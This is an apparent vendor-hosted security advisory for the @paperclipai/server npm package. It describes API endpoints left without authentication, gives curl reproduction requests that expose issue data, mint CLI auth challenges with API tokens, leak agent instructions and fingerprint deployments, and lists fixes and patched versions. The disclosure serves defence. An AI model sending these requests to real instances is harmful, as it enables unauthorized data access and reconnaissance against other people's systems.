GHSA-xfqj-r5qw-8g4j — @paperclipai/server
HIGHGHSA-xfqj-r5qw-8g4j is a high-severity (CVSS 8.3) remote code execution vulnerability in @paperclipai/server. A fix is available for @paperclipai/server — see the affected versions and patch details below.
Paperclip: Unauthenticated Access to Multiple API Endpoints in Authenticated Mode
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@paperclipai/servernpmDescription
Summary
Several API endpoints in authenticated mode have no authentication at all. They respond to completely unauthenticated requests with sensitive data or allow state-changing operations. No account, no session, no API key needed.
Verified against the latest version.
Discord: sagi03581
Steps to Reproduce
1. Unauthenticated issue data access
GET /api/heartbeat-runs/:runId/issues returns issue data for a heartbeat run with zero authentication. Every other endpoint in server/src/routes/activity.ts calls assertCompanyAccess, but this one was missed.
curl -s http://<target>:3100/api/heartbeat-runs/00000000-0000-0000-0000-000000000001/issues
# -> [] (HTTP 200, not 401 or 403)
If an attacker obtains a valid run UUID (from logs, error messages, shared URLs, or by probing), they can read issue data without any credentials.
2. Unauthenticated CLI auth challenge creation
POST /api/cli-auth/challenges creates a CLI authentication challenge with no actor check at all. The handler at server/src/routes/access.ts:1638-1659 skips any auth verification.
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challenges
# returns challenge ID, token, and a pre-generated board API key
The response includes a boardApiToken that becomes active once the challenge is approved. Combined with open registration (separate report), this enables persistent API key generation.
3. Unauthenticated agent instruction / system prompt leakage
These endpoints in server/src/routes/access.ts require no authentication:
curl -s http://<target>:3100/api/skills/index
# returns all available skill endpoints
curl -s http://<target>:3100/api/skills/paperclip
# returns the FULL agent heartbeat procedure including:
# - every API endpoint and its parameters
# - authentication mechanism (env var names, header formats)
# - the complete agent coordination protocol
# - the agent creation/hiring workflow
curl -s http://<target>:3100/api/skills/paperclip-create-agent
# returns the full agent creation workflow with adapter configs
This hands an attacker a complete map of the internal API without authenticating. It also leaks how agents authenticate, how heartbeats work, and what adapter configurations are available.
4. Unauthenticated deployment configuration disclosure
GET /api/health returns deployment mode, exposure setting, auth status, bootstrap status, version, and feature flags.
curl -s http://<target>:3100/api/health
# {
# "deploymentMode": "authenticated",
# "deploymentExposure": "public",
# "authReady": true,
# "bootstrapStatus": "ready",
# "version": "2026.403.0",
# ...
# }
Tells an attacker exactly how the instance is configured, whether registration is available, and what version is running.
Impact
- Data exposure: heartbeat run issues accessible without credentials. Agent instructions and full API structure exposed to anyone.
- Reconnaissance: an attacker can fingerprint the deployment (mode, version, features) and map the entire internal API before attempting anything else.
- Auth bypass stepping stone: unauthenticated CLI challenge creation is a building block for the full RCE chain (reported separately).
Suggested Fixes
-
Add authentication to heartbeat run issues in
server/src/routes/activity.ts:GET /api/heartbeat-runs/:runId/issues-- addassertCompanyAccesslike every other endpoint in the same file
-
Add authentication to CLI challenge creation in
server/src/routes/access.ts:POST /api/cli-auth/challenges-- addassertBoardat minimum
-
Add authentication to skill endpoints in
server/src/routes/access.ts:GET /api/skills/availableGET /api/skills/indexGET /api/skills/:skillName
-
Reduce health endpoint information -- consider removing
deploymentMode,deploymentExposure, andversionfrom the unauthenticated response, or gating the full response behindassertBoard -
Consider a global auth rejection middleware for all
/api/*routes inauthenticatedmode. Currently unauthenticated requests getactor: { type: "none" }and pass through tonext(), relying on each route handler to check individually. A missing check means an open endpoint. Rejectingtype: "none"at the middleware level for all routes except an explicit public allowlist (health, sign-in, sign-up, webhooks) would prevent this class of bug entirely.
Contact
Discord: sagi03581
Happy to help verify fixes or provide additional details.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @paperclipai/server | all versions | 2026.416.0npm install @paperclipai/server@2026.416.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @paperclipai/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @paperclipai/server to 2026.416.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xfqj-r5qw-8g4j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-xfqj-r5qw-8g4j can be triaged on real exposure rather than presence alone.
Tailored to GHSA-xfqj-r5qw-8g4j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xfqj-r5qw-8g4j in your dependencies?
O3 Security finds GHSA-xfqj-r5qw-8g4j across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.